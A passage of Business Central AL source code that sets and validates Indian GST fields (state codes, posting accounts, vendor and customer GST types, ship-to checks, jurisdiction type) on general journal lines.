GenJournalLine."Location State Code" := '';
GenJournalLine."Location GST Reg. No." := '';
GenJournalLine."GST Input Service Distribution" := false;
if not GenJournalLine."POS as Vendor State" then begin
if Location.Get(GenJournalLine."Location Code") then begin
GenJournalLine."Location State Code" := Location."State Code";
GenJournalLine."Location GST Reg. No." := Location."GST Registration No.";
GenJournalLine."GST Input Service Distribution" := Location."GST Input Service Distributor";
end;
if Location2.Get(GenJournalLine."Location Code") then
LocationARNNo := Location."Location ARN No.";
end else
if GenJournalLine."Order Address Code" <> '' then
GenJournalLine."Location State Code" := GenJournalLine."Order Address State Code"
else
GenJournalLine."Location State Code" := GenJournalLine."GST Bill-to/BuyFrom State Code";
if (GenJournalLine."Tax Type" <> "Tax Type"::" ") and ((GenJournalLine."Location GST Reg. No." <> '') or (LocationARNNo <> '')) and (GenJournalLine."GST Component Code" <> '') then begin
//Get GST Component ID
if not GSTSetup.Get() then
exit;
GSTSetup.TestField("GST Tax Type");
TAXComponent.Reset();
TAXComponent.SetRange("Tax Type", GSTSetup."GST Tax Type");
TAXComponent.SetRange(Name, GenJournalLine."GST Component Code");
TAXComponent.FindFirst();
GSTPostingSetup.Get(GenJournalLine."Location State Code", TAXComponent.Id);
GenJournalLine."Account Type" := GenJournalLine."Account Type"::"G/L Account";
if not (GenJournalLine."Tax Type" in ["Tax Type"::"GST TDS Credit", "Tax Type"::"GST TCS Credit", "Tax Type"::"GST Liability"]) then begin
GSTPostingSetup.TestField("Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."Receivable Account";
end else
if GenJournalLine."Tax Type" = "Tax Type"::"GST TDS Credit" then begin
GSTPostingSetup.TestField("GST TDS Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."GST TDS Receivable Account";
end else
if GenJournalLine."Tax Type" = "Tax Type"::"GST Liability" then begin
GSTPostingSetup.TestField("Payable Account");
GenJournalLine."Account No." := GSTPostingSetup."Payable Account";
end else
if GenJournalLine."Tax Type" = "Tax Type"::"GST TCS Credit" then begin
GSTPostingSetup.TestField("GST TCS Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."GST TCS Receivable Account";
end;
GenJournalLine."Bal. Account Type" := GenJournalLine."Bal. Account Type"::"G/L Account";
end;
if GenJournalLine."Location Code" <> '' then
if GenJournalLine."Location Code" = GenJournalLine."Bill to-Location(POS)" then
Error(LocationErr);
CheckBilltoLocation(GenJournalLine);
if GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"] then begin
//Get Posting No. Series
Record := GenJournalLine;
GenJournalLine."Transaction Type" := GenJournalLine."Transaction Type"::Sales;
PostingNoSeries.GetPostingNoSeriesCode(Record);
GenJournalLine."Transaction Type" := GenJournalLine."Transaction Type"::Purchase;
PostingNoSeries.GetPostingNoSeriesCode(Record);
end;
CheckReferenceInvoiceNo(GenJournalLine);
GenJournalLine."POS Out Of India" := false;
UpdateGSTJurisdictionType(GenJournalLine);
end;
procedure amount(var GenJournalLine: Record "Gen. Journal Line")
begin
GenJournalLine.Validate("Bank Charge", GenJournalLine."Bank Charge");
end;
procedure CurrencyCode(var GenJournalLine: Record "Gen. Journal Line")
var
JnlBankCharges: Record "Journal Bank Charges";
CurrExchRate: Record "Currency Exchange Rate";
begin
JnlBankCharges.Reset();
JnlBankCharges.SetRange("Journal Template Name", GenJournalLine."Journal Template Name");
JnlBankCharges.SetRange("Journal Batch Name", GenJournalLine."Journal Batch Name");
JnlBankCharges.SetRange("Line No.", GenJournalLine."Line No.");
if JnlBankCharges.FindSet() then
repeat
if GenJournalLine."Currency Code" <> '' then
JnlBankCharges."Amount (LCY)" := Round(CurrExchRate.ExchangeAmtFCYToLCY(GenJournalLine."Posting Date",
GenJournalLine."Currency Code", JnlBankCharges.Amount, GenJournalLine."Currency Factor"))
else
JnlBankCharges."Amount (LCY)" := JnlBankCharges.Amount;
JnlBankCharges.Modify();
until JnlBankCharges.Next() = 0;
GenJournalLine."GST TDS/GST TCS" := GenJournalLine."GST TDS/GST TCS"::" ";
GenJournalLine."GST On Assessable Value" := false;
GenJournalLine."GST Assessable Value Sale(LCY)" := 0;
if GenJournalLine."POS as Vendor State" then
Error(CurrencyCodePOSErr, GenJournalLine."Currency Code");
end;
procedure BalVendNo(var Rec: Record "Gen. Journal Line"; Vend: Record Vendor)
begin
UpdateGSTfromPartyVendCust(Rec."Bal. Account No.", false, true, Rec);
Rec."Journal Entry" := true;
end;
procedure BalCustNo(var Rec: Record "Gen. Journal Line"; Cust: Record customer)
begin
UpdateGSTfromPartyVendCust(Rec."Bal. Account No.", false, true, Rec);
Rec."Journal Entry" := true;
end;
procedure BalGLAccountNo(var Rec: Record "Gen. Journal Line")
begin
PopulateGSTInvoiceCrMemo(false, true, Rec);
end;
procedure DocumentType(var GenJournalLine: Record "Gen. Journal Line")
begin
ProvisionalEntryAlreadyAppliedErr(GenJournalLine);
GenJournalLine."Provisional Entry" := false;
GenJournalLine.TestField("Bank Charge", false);
if GenJournalLine."POS as Vendor State" then
if not (GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"]) then
Error(POSasAccountTypeErr);
GenJournalLine."GST TDS/GST TCS" := GenJournalLine."GST TDS/GST TCS"::" ";
GenJournalLine."GST On Assessable Value" := false;
GenJournalLine."GST Assessable Value Sale(LCY)" := 0;
end;
procedure BalAccountNo(var Rec: Record "Gen. Journal Line")
begin
UpdateGSTfromPartyVendCust(Rec."Bal. Account No.", false, true, Rec);
PopulateGSTInvoiceCrMemo(false, true, Rec);
end;
procedure FAAccount(var Rec: Record "Gen. Journal Line"; Fa: Record "Fixed Asset")
begin
if not Rec."FA Reclassification Entry" then
PopulateGSTInvoiceCrMemo(true, false, Rec);
end;
procedure VendAccount(var GenJournalLine: Record "Gen. Journal Line"; Vendor: Record Vendor)
begin
GenJournalLine."Vendor GST Reg. No." := Vendor."GST Registration No.";
GenJournalLine."GST Bill-to/BuyFrom State Code" := Vendor."State Code";
GenJournalLine."GST Vendor Type" := Vendor."GST Vendor Type";
GenJournalLine."Associated Enterprises" := Vendor."Associated Enterprises";
UpdateGSTfromPartyVendCust(GenJournalLine."Account No.", true, false, GenJournalLine);
GenJournalLine."Journal Entry" := true;
UpdateGSTJurisdictionType(GenJournalLine);
end;
procedure CustAccount(var GenJournalLine: Record "Gen. Journal Line"; Customer: Record Customer)
var
postingnoseries: Record "Posting No. Series";
Record: Variant;
begin
GenJournalLine."Customer GST Reg. No." := Customer."GST Registration No.";
GenJournalLine."GST Customer Type" := Customer."GST Customer Type";
if (GenJournalLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"]) and GenJournalLine."GST in Journal" then begin
//Get posting No Seried form posting no. series table
Record := GenJournalLine;
GenJournalLine."Transaction Type" := GenJournalLine."Transaction Type"::Sales;
postingnoseries.GetPostingNoSeriesCode(Record);
end;
if GenJournalLine."GST Customer Type" = "GST Customer Type"::Unregistered then
GenJournalLine."Nature of Supply" := GenJournalLine."Nature of Supply"::B2C;
if not (GenJournalLine."GST Customer Type" = "GST Customer Type"::Export) then
GenJournalLine."GST Bill-to/BuyFrom State Code" := Customer."State Code";
UpdateGSTfromPartyVendCust(GenJournalLine."Account No.", true, false, GenJournalLine);
UpdateGSTJurisdictionType(GenJournalLine);
end;
procedure BeforeValidateAccountNo(var GenJournalLine: Record "Gen. Journal Line")
begin
ProvisionalEntryAlreadyAppliedErr(GenJournalLine);
GenJournalLine."Provisional Entry" := false;
GenJournalLine."GST Bill-to/BuyFrom State Code" := '';
GenJournalLine."Vendor GST Reg. No." := '';
GenJournalLine."Customer GST Reg. No." := '';
GenJournalLine."GST Vendor Type" := "GST Vendor Type"::" ";
GenJournalLine."GST Customer Type" := "GST Customer Type"::" ";
GenJournalLine."RCM Exempt" := false;
GenJournalLine."GST Group Code" := '';
GenJournalLine."HSN/SAC Code" := '';
GenJournalLine."Reference Invoice No." := '';
GenJournalLine."GST TDS/GST TCS" := GenJournalLine."GST TDS/GST TCS"::" ";
GenJournalLine."GST On Assessable Value" := false;
GenJournalLine."GST Assessable Value Sale(LCY)" := 0;
GenJournalLine."POS Out Of India" := false;
if GenJournalLine."Account No." = '' then begin
UpdateGSTfromPartyVendCust(GenJournalLine."Account No.", true, false, GenJournalLine);
PopulateGSTInvoiceCrMemo(true, false, GenJournalLine);
end;
end;
procedure AfterValidateAccountNo(var GenJournalLine: Record "Gen. Journal Line")
var
Customer: Record Customer;
begin
case GenJournalLine."Account Type" of
GenJournalLine."Account Type"::Customer:
if GenJournalLine."Account No." <> '' then
if Customer.Get(GenJournalLine."Account No.") then
GenJournalLine.State := Customer."State Code";
end;
end;
procedure AfterValidateShipToCode(var GenJournalLine: Record "Gen. Journal Line")
begin
CheckShipCode(GenJournalLine);
end;
procedure AccountType(var GenJournalLine: Record "Gen. Journal Line")
var
Location: Record Location;
GSTPostingSetup: Record "GST Posting Setup";
TaxComponents: Record "Tax Component";
TaxType: Record "Tax Type";
begin
ProvisionalEntryAlreadyAppliedErr(GenJournalLine);
GenJournalLine."Provisional Entry" := false;
GenJournalLine."GST TDS/GST TCS" := GenJournalLine."GST TDS/GST TCS"::" ";
GenJournalLine."GST On Assessable Value" := false;
GenJournalLine."GST Assessable Value Sale(LCY)" := 0;
if GenJournalLine."Tax Type" <> "Tax Type"::" " then begin
GenJournalLine.TestField("Account Type", GenJournalLine."Account Type"::"G/L Account");
Location.Get(GenJournalLine."Location Code");
//Get GST posting setup
if not TaxType.Get() then
exit;
TaxType.TestField(Code);
TaxComponents.Reset();
TaxComponents.SetRange("Tax Type", TaxType.Code);
TaxComponents.SetRange(Name, GenJournalLine."GST Component Code");
TaxComponents.FindFirst();
GSTPostingSetup.Get(Location."State Code", TaxComponents.Id);
GenJournalLine."Account Type" := GenJournalLine."Account Type"::"G/L Account";
if not (GenJournalLine."Tax Type" in ["Tax Type"::"GST TDS Credit", "Tax Type"::"GST TCS Credit"]) then begin
GSTPostingSetup.TestField("Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."Receivable Account";
end else
if GenJournalLine."Tax Type" = "Tax Type"::"GST TDS Credit" then begin
GSTPostingSetup.TestField("GST TDS Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."GST TDS Receivable Account";
end else begin
GSTPostingSetup.TestField("GST TCS Receivable Account");
GenJournalLine."Account No." := GSTPostingSetup."GST TCS Receivable Account";
end;
GenJournalLine."Bal. Account Type" := GenJournalLine."Bal. Account Type"::"G/L Account";
end;
GenJournalLine.Validate("Bank Charge", GenJournalLine."Bank Charge");
end;
procedure PopulateGSTInvoiceCrMemo(Acc: Boolean; BalAcc: Boolean; var GenJnlLine: Record "gen. journal line")
begin
if not (GenJnlLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"]) then
exit;
if Acc and not BalAcc and (GenJnlLine."Account No." <> '') then
UpdateGSTInfoFromAcc(GenJnlLine."Account No.", false, GenJnlLine)
else
if not Acc and BalAcc and (GenJnlLine."Bal. Account No." <> '') then
UpdateGSTInfoFromAcc(GenJnlLine."Bal. Account No.", false, GenJnlLine)
else
if (not Acc and not BalAcc) or (Acc and (GenJnlLine."Account No." = '')) or (BalAcc and (GenJnlLine."Bal. Account No." = '')) then
UpdateGSTInfoFromAcc('', true, GenJnlLine);
end;
local procedure UpdateGSTfromPartyVendCust(AccountNo: Code[20]; Acc: Boolean; BalAcc: Boolean; var GenJnlLine: Record "Gen. Journal Line")
begin
if not (GenJnlLine."Document Type" in ["Document Type Enum"::Invoice, "Document Type Enum"::"Credit Memo"]) then
exit;
if AccountNo <> '' then
if GenJnlLine."Party Code" <> '' then
case GenJnlLine."Party Type" of
GenJnlLine."Party Type"::Vendor:
UpdateorClearVendCustInfo(GenJnlLine."Party Code", true, false, false, GenJnlLine);
GenJnlLine."Party Type"::Customer:
UpdateorClearVendCustInfo(GenJnlLine."Party Code", false, true, false, GenJnlLine);
GenJnlLine."Party Type"::Party:
if ((GenJnlLine."Account Type" = GenJnlLine."Account Type"::Vendor) and (GenJnlLine."Account No." <> '')) or
((GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Vendor) and (GenJnlLine."Bal. Account No." <> ''))
then begin
if (GenJnlLine."Account Type" = GenJnlLine."Account Type"::Vendor) and (GenJnlLine."Account No." = AccountNo) then
UpdateorClearVendCustInfo(AccountNo, true, false, false, GenJnlLine)
else
if (GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Vendor) and (GenJnlLine."Bal. Account No." = AccountNo) then
UpdateorClearVendCustInfo(AccountNo, true, false, false, GenJnlLine);
end else
if ((GenJnlLine."Account Type" = GenJnlLine."Account Type"::Customer) and (GenJnlLine."Account No." <> '')) or
((GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Customer) and (GenJnlLine."Bal. Account No." <> ''))
then begin
if (GenJnlLine."Account Type" = GenJnlLine."Account Type"::Customer) and (GenJnlLine."Account No." = AccountNo) then
UpdateorClearVendCustInfo(AccountNo, false, true, false, GenJnlLine)
else
if (GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Vendor) and (GenJnlLine."Bal. Account No." = AccountNo) then
UpdateorClearVendCustInfo(AccountNo, false, true, false, GenJnlLine);
end else
UpdateorClearVendCustInfo(GenJnlLine."Party Code", false, false, true, GenJnlLine);
end
else begin
if ((Acc and (GenJnlLine."Account Type" <> GenJnlLine."Account Type"::Vendor)) or (Acc and (GenJnlLine."Account Type" <> GenJnlLine."Account Type"::Customer)) or
(BalAcc and (GenJnlLine."Bal. Account Type" <> GenJnlLine."Bal. Account Type"::Vendor)) or
(BalAcc and (GenJnlLine."Bal. Account Type" <> GenJnlLine."Bal. Account Type"::Customer)))
then
exit;
if ((GenJnlLine."Account Type" = GenJnlLine."Account Type"::Vendor) and (GenJnlLine."Account No." <> '')) or
((GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Vendor) and (GenJnlLine."Bal. Account No." <> ''))
then
UpdateorClearVendCustInfo(AccountNo, true, false, false, GenJnlLine);
if ((GenJnlLine."Account Type" = GenJnlLine."Account Type"::Customer) and (GenJnlLine."Account No." <> '')) or
((GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Customer) and (GenJnlLine."Bal. Account No." <> ''))
then
UpdateorClearVendCustInfo(AccountNo, false, true, false, GenJnlLine);
end else
if GenJnlLine."Party Code" <> '' then
case GenJnlLine."Party Type" of
GenJnlLine."Party Type"::Vendor:
UpdateorClearVendCustInfo(GenJnlLine."Party Code", true, false, false, GenJnlLine);
GenJnlLine."Party Type"::Customer:
UpdateorClearVendCustInfo(GenJnlLine."Party Code", false, true, false, GenJnlLine);
GenJnlLine."Party Type"::Party:
UpdateorClearVendCustInfo(GenJnlLine."Party Code", false, false, true, GenJnlLine);
end else
UpdateorClearVendCustInfo(AccountNo, false, false, false, GenJnlLine);
end;
local procedure ProvisionalEntryAlreadyAppliedErr(GenJournalLine: Record "Gen. Journal Line")
begin
if GenJournalLine."Applied Provisional Entry" <> 0 then
Error(ProvisionalEntryAppliedErr, GenJournalLine."Document No.");
end;
local procedure UpdateorClearVendCustInfo(AccNo: Code[20]; Vend: Boolean; Cust: Boolean; Party: Boolean; var GenJnlLine: Record "Gen. Journal Line")
var
Vendor: Record Vendor;
Customer: Record Customer;
Party1: Record Party;
begin
if AccNo <> '' then begin
ClearGSTVendCustInfo(GenJnlLine);
GenJnlLine."Bill of Entry No." := '';
GenJnlLine."Bill of Entry Date" := 0D;
if Vend then begin
Vendor.Get(AccNo);
GenJnlLine.Validate("GST Vendor Type", Vendor."GST Vendor Type");
GenJnlLine."GST Bill-to/BuyFrom State Code" := Vendor."State Code";
GenJnlLine."Vendor GST Reg. No." := Vendor."GST Registration No.";
GenJnlLine."Associated Enterprises" := Vendor."Associated Enterprises";
GenJnlLine."Nature of Supply" := GenJnlLine."Nature of Supply"::B2B;
end else
if Cust then begin
Customer.Get(AccNo);
GenJnlLine."GST Customer Type" := Customer."GST Customer Type";
GenJnlLine."GST Bill-to/BuyFrom State Code" := Customer."State Code";
GenJnlLine."Customer GST Reg. No." := Customer."GST Registration No.";
if GenJnlLine."GST Customer Type" = "GST Customer Type"::Unregistered then
GenJnlLine."Nature of Supply" := GenJnlLine."Nature of Supply"::B2C;
GenJnlLine."Sales Invoice Type" := "Sales Invoice Type"::" ";
end else
if Party then begin
Party1.Get(AccNo);
GenJnlLine."GST Customer Type" := Party1."GST Customer Type";
GenJnlLine.Validate("GST Vendor Type", Party1."GST Vendor Type");
GenJnlLine."Associated Enterprises" := Party1."Associated Enterprises";
GenJnlLine."GST Bill-to/BuyFrom State Code" := Party1.State;
if Party1."GST Party Type" = Party1."GST Party Type"::Vendor then
GenJnlLine."Vendor GST Reg. No." := Party1."GST Registration No."
else
if Party1."GST Party Type" = Party1."GST Party Type"::Customer then
GenJnlLine."Customer GST Reg. No." := Party1."GST Registration No.";
if GenJnlLine."GST Customer Type" = "GST Customer Type"::Unregistered then
GenJnlLine."Nature of Supply" := GenJnlLine."Nature of Supply"::B2C;
if GenJnlLine."GST Vendor Type" = GenJnlLine."GST Vendor Type"::Unregistered then
GenJnlLine.Validate("GST Reverse Charge", true)
else
GenJnlLine.Validate("GST Reverse Charge", false);
GenJnlLine."Sales Invoice Type" := "Sales Invoice Type"::" ";
end else
ClearGSTVendCustInfo(GenJnlLine)
end else
ClearGSTVendCustInfo(GenJnlLine);
end;
local procedure ClearGSTVendCustInfo(var GenJnlLine: Record "Gen. Journal Line")
begin
GenJnlLine.Validate("GST Vendor Type", "GST Vendor Type"::" ");
Clear(GenJnlLine."GST Customer Type");
Clear(GenJnlLine."GST Bill-to/BuyFrom State Code");
Clear(GenJnlLine."Associated Enterprises");
Clear(GenJnlLine."Nature of Supply");
Clear(GenJnlLine."Bill of Entry Date");
Clear(GenJnlLine."Bill of Entry No.");
GenJnlLine."Vendor GST Reg. No." := '';
GenJnlLine."Customer GST Reg. No." := '';
GenJnlLine."Ship-to GST Reg. No." := '';
GenJnlLine."POS Out Of India" := false;
end;
local procedure UpdateGSTInfoFromAcc(
AccountNo: Code[20];
ClearVars: Boolean;
var GenJnlLine: Record "Gen. Journal Line")
var
FixedAsset: Record "Fixed Asset";
GLAccount: Record "G/L Account";
begin
if ClearVars or (AccountNo = '') then begin
Clear(GenJnlLine."GST Group Code");
Clear(GenJnlLine."GST Group Type");
Clear(GenJnlLine."GST Place of Supply");
Clear(GenJnlLine."HSN/SAC Code");
Clear(GenJnlLine.Exempted);
Clear(GenJnlLine."GST Jurisdiction Type");
Clear(GenJnlLine."GST Reverse Charge");
Clear(GenJnlLine."GST Reason Type");
Clear(GenJnlLine."Inc. GST in TDS Base");
Clear(GenJnlLine."GST Credit");
Clear(GenJnlLine."Custom Duty Amount");
Clear(GenJnlLine."Custom Duty Amount (LCY)");
end else
if GLAccount.Get(AccountNo) then begin
GenJnlLine.Validate("GST Group Code", GLAccount."GST Group Code");
GenJnlLine.Validate("HSN/SAC Code", GLAccount."HSN/SAC Code");
GenJnlLine.Validate(Exempted, GLAccount.Exempted);
GenJnlLine.Validate("GST Credit", GLAccount."GST Credit");
end else
if FixedAsset.Get(GenJnlLine."Account No.") then begin
GenJnlLine.Validate("GST Group Code", FixedAsset."GST Group Code");
GenJnlLine.Validate("HSN/SAC Code", FixedAsset."HSN/SAC Code");
GenJnlLine.Validate(Exempted, FixedAsset.Exempted);
GenJnlLine.Validate("GST Credit", FixedAsset."GST Credit");
end;
end;
local procedure CheckBilltoLocation(var GenJnlLine: Record "gen. journal line")
var
Location: Record Location;
begin
if not GenJnlLine."POS as Vendor State" then
if (GenJnlLine."Account Type" = GenJnlLine."Account Type"::Vendor) or
(GenJnlLine."Bal. Account Type" = GenJnlLine."Bal. Account Type"::Vendor)
then
if GenJnlLine."Bill to-Location(POS)" <> '' then begin
if GenJnlLine."Bill to-Location(POS)" = GenJnlLine."Location Code" then
Error(LocationErr);
Location.Get(GenJnlLine."Bill to-Location(POS)");
GenJnlLine."Location GST Reg. No." := Location."GST Registration No.";
GenJnlLine."Location State Code" := Location."State Code";
GenJnlLine."GST Input Service Distribution" := Location."GST Input Service Distributor";
end else
if GenJnlLine."Location Code" <> '' then begin
Location.Get(GenJnlLine."Location Code");
GenJnlLine."Location GST Reg. No." := Location."GST Registration No.";
GenJnlLine."Location State Code" := Location."State Code";
GenJnlLine."GST Input Service Distribution" := Location."GST Input Service Distributor";
end;
if GenJnlLine."POS as Vendor State" then
if GenJnlLine."Order Address Code" <> '' then
GenJnlLine."Location State Code" := GenJnlLine."Order Address State Code"
else
GenJnlLine."Location State Code" := GenJnlLine."GST Bill-to/BuyFrom State Code";
end;
local procedure CheckReferenceInvoiceNo(GenJnlLine: Record "Gen. Journal Line")
var
ReferenceInvoiceNo: Record "Reference Invoice No.";
DocType: Text;
DocTypeEnum: Enum "Document Type Enum";
begin
DocType := Format(GenJnlLine."Document Type");
if not Evaluate(DocTypeEnum, DocType) then
exit;
ReferenceInvoiceNo.SetRange("Document No.", GenJnlLine."Document No.");
ReferenceInvoiceNo.SetRange("Document Type", DocTypeEnum);
ReferenceInvoiceNo.SetRange("Source No.", GenJnlLine."Account No.");
ReferenceInvoiceNo.SetRange("Journal Template Name", GenJnlLine."Journal Template Name");
ReferenceInvoiceNo.SetRange("Journal Batch Name", GenJnlLine."Journal Batch Name");
ReferenceInvoiceNo.SetRange(Verified, true);
if not ReferenceInvoiceNo.IsEmpty() then
Error(ReferenceInvoiceErr);
end;
local procedure CheckRCMExemptDate(GenJournalLine: Record "Gen. Journal Line"): Boolean
var
PurchasesPayablesSetup: Record "Purchases & Payables Setup";
begin
if GenJournalLine."GST Vendor Type" <> "GST Vendor Type"::Unregistered then
exit(false);
if GenJournalLine."Document Type" <> GenJournalLine."Document Type"::Payment then
exit(false);
GenJournalLine.TestField("Posting Date");
PurchasesPayablesSetup.Get();
PurchasesPayablesSetup.TestField("RCM Exempt Start Date (Unreg)");
PurchasesPayablesSetup.TestField("RCM Exempt Start Date (Unreg)");
if (GenJournalLine."Posting Date" >= PurchasesPayablesSetup."RCM Exempt Start Date (Unreg)") and
(GenJournalLine."Posting Date" <= PurchasesPayablesSetup."RCM Exempt end Date (Unreg)")
then
exit(true);
exit(false);
end;
local procedure GetJournalHeader(
var GenJournalLine: Record "Gen. Journal Line";
GenJournalLine1: Record "Gen. Journal Line";
TransactionType: Enum "JournalLine TransactionType")
var
DocNo: Code[20];
begin
GenJournalLine.SetCurrentKey("Journal Template Name", "Journal Batch Name", "Document No.");
GenJournalLine.SetRange("Journal Template Name", GenJournalLine1."Journal Template Name");
GenJournalLine.SetRange("Journal Batch Name", GenJournalLine1."Journal Batch Name");
GenJournalLine.SetRange("Line No.", GenJournalLine1."Line No.");
if GenJournalLine.FindFirst() then
DocNo := GenJournalLine."Document No.";
GenJournalLine.SetRange("Line No.");
GenJournalLine.SetRange("Document No.", DocNo);
if TransactionType = TransactionType::Purchase then
GenJournalLine.SetFilter("GST Vendor Type", '<>%1', "GST Vendor Type"::" ");
if TransactionType = TransactionType::Sales then
GenJournalLine.SetFilter("GST Customer Type", '<>%1', "GST Customer Type"::" ");
end;
local procedure CheckShipCode(var GenJnlLine: Record "gen. journal line")
var
ShiptoAddress: Record "Ship-to Address";
begin
GenJnlLine."GST Ship-to State Code" := '';
GenJnlLine."Ship-to GST Reg. No." := '';
if GenJnlLine."Ship-to Code" <> '' then begin
ShiptoAddress.Get(GenJnlLine."Account No.", GenJnlLine."Ship-to Code");
GenJnlLine."GST Ship-to State Code" := ShiptoAddress.State;
GenJnlLine."Ship-to GST Reg. No." := ShiptoAddress."GST Registration No.";
GenJnlLine.State := ShiptoAddress.State;
if GenJnlLine."GST Customer Type" <> "GST Customer Type"::" " then
if GenJnlLine."GST Customer Type" in ["GST Customer Type"::Exempted, "GST Customer Type"::"Deemed Export",
"GST Customer Type"::"SEZ Development", "GST Customer Type"::"SEZ Unit",
"GST Customer Type"::Registered]
then
if GenJnlLine."Ship-to GST Reg. No." = '' then
if ShiptoAddress."ARN No." = '' then
Error(ShiptoGSTARNErr);
UpdateGSTJurisdictionType(GenJnlLine);
end;
if GenJnlLine."GST on Advance Payment" and
(GenJnlLine."GST Place of Supply" = GenJnlLine."GST Place of Supply"::"Ship-to Address") and (GenJnlLine."Ship-to Code" = '')
then
Error(BlankShiptoCodeErr);
end;
local procedure GetTotalDoclineNos(GenJournalLine: Record "Gen. Journal Line"): Integer
var
GenJournalLineDummy: Record "Gen. Journal Line";
begin
GenJournalLineDummy.SetCurrentKey("Journal Template Name", "Journal Batch Name", "Document No.", "Line No.");
GenJournalLineDummy.SetRange("Journal Template Name", GenJournalLine."Journal Template Name");
GenJournalLineDummy.SetRange("Journal Batch Name", GenJournalLine."Journal Batch Name");
if GenJournalLine."Document No." = GenJournalLine."Old Document No." then
GenJournalLineDummy.SetRange("Document No.", GenJournalLine."Document No.")
else
GenJournalLineDummy.SetRange("Document No.", GenJournalLine."Old Document No.");
exit(GenJournalLineDummy.Count());
end;
local procedure CheckAllLinesExemptedJournal(GenJournalLine: Record "Gen. Journal Line"): Boolean
var
GenJournalLine1: Record "Gen. Journal Line";
GenJournalLine2: Record "Gen. Journal Line";
begin
GenJournalLine1.SetRange("Journal Template Name", GenJournalLine."Journal Template Name");
GenJournalLine1.SetRange("Journal Batch Name", GenJournalLine."Journal Batch Name");
GenJournalLine1.SetRange("Document No.", GenJournalLine."Document No.");
GenJournalLine1.SetRange("GST Customer Type", GenJournalLine."GST Customer Type"::" ");
GenJournalLine2.CopyFilters(GenJournalLine1);
GenJournalLine2.SetRange(Exempted, true);
if GenJournalLine1.Count() <> GenJournalLine2.Count() then
exit(true);
end;
local procedure CheckInvoiceTypeWithExempted(ExemptedValue: Boolean; var GenJnlLine: Record "Gen. Journal Line")
begin
case GenJnlLine."GST Customer Type" of
"GST Customer Type"::" ", "GST Customer Type"::Registered, "GST Customer Type"::Unregistered:
begin
if (GenJnlLine."Sales Invoice Type" in ["Sales Invoice Type"::"Bill of Supply",
"Sales Invoice Type"::Export]) and (not ExemptedValue)
then
Error(InvoiceTypeErr, GenJnlLine."Sales Invoice Type", GenJnlLine."GST Customer Type");
if ExemptedValue then
GenJnlLine.TestField("Sales Invoice Type", "Sales Invoice Type"::"Bill of Supply");
if (GenJnlLine."Account Type" = GenJnlLine."Account Type"::"Fixed Asset") and GenJnlLine."FA Reclassification Entry" and
(GenJnlLine."Customer GST Reg. No." <> '') and (GenJnlLine."FA Posting Type" = GenJnlLine."FA Posting Type"::"Acquisition Cost")
then
GenJnlLine.TestField("Sales Invoice Type", "Sales Invoice Type"::Taxable);
end;
"GST Customer Type"::Export, "GST Customer Type"::"Deemed Export",
"GST Customer Type"::"SEZ Development", "GST Customer Type"::"SEZ Unit":
begin
if (GenJnlLine."Sales Invoice Type" in ["Sales Invoice Type"::"Bill of Supply",
"Sales Invoice Type"::Taxable]) and (not ExemptedValue)
then
Error(InvoiceTypeErr, GenJnlLine."Sales Invoice Type", GenJnlLine."GST Customer Type");
if ExemptedValue then
GenJnlLine.TestField("Sales Invoice Type", "Sales Invoice Type"::"Bill of Supply");
end;
"GST Customer Type"::Exempted:
if GenJnlLine."Sales Invoice Type" in ["Sales Invoice Type"::"Debit note",
"Sales Invoice Type"::Export,
"Sales Invoice Type"::Taxable]
then
Error(InvoiceTypeErr, GenJnlLine."Sales Invoice Type", GenJnlLine."GST Customer Type");
end;
end;
local procedure VerifyPOSOutOfIndia(
ConfigType: Enum "Party Type";
LocationStateCode: Code[10];
VendCustStateCode: Code[10];
GSTVendorType: Enum "GST Vendor Type";
GSTCustomerType: Enum "GST Customer Type")
begin
if LocationStateCode <> VendCustStateCode then
Error(POSLOCDiffErr);
if ConfigType = ConfigType::Customer then begin
if not (GSTCustomerType in [GSTCustomerType::" ",
GSTCustomerType::Registered,
GSTCustomerType::Unregistered,
GSTCustomerType::"Deemed Export"])
then
Error(CustGSTTypeErr);
end else
if not (GSTVendorType in [GSTVendorType::Registered, GSTVendorType::" "]) then
Error(VendGSTTypeErr);
end;
local procedure GetPlaceOfSupply(GenJournalLine: Record "Gen. Journal Line"): Code[10]
var
PlaceofSupplyStateCode: Code[10];
begin
case GenJournalLine."GST Place of Supply" of
GenJournalLine."GST Place of Supply"::"Bill-to Address":
PlaceofSupplyStateCode := GenJournalLine."GST Bill-to/BuyFrom State Code";
GenJournalLine."GST Place of Supply"::"Ship-to Address":
PlaceofSupplyStateCode := GenJournalLine."GST Ship-to State Code";
GenJournalLine."GST Place of Supply"::"Location Address":
PlaceofSupplyStateCode := GenJournalLine."Location State Code";
end;
exit(PlaceofSupplyStateCode);
end;
local procedure UpdateGSTJurisdictionType(var GenJournalLine: Record "Gen. Journal Line")
begin
if GenJournalLine."POS Out Of India" then begin
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate;
exit;
end;
if (GenJournalLine."GST Vendor Type" = GenJournalLine."GST Vendor Type"::SEZ) then begin
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate;
exit;
end;
if GenJournalLine."GST Customer Type" In [GenJournalLine."GST Customer Type"::"SEZ Development", GenJournalLine."GST Customer Type"::"SEZ Unit"] then begin
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate;
exit;
end;
if GenJournalLine."Location State Code" = GenJournalLine.State then
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Intrastate
else
GenJournalLine."GST Jurisdiction Type" := GenJournalLine."GST Jurisdiction Type"::Interstate;
end;
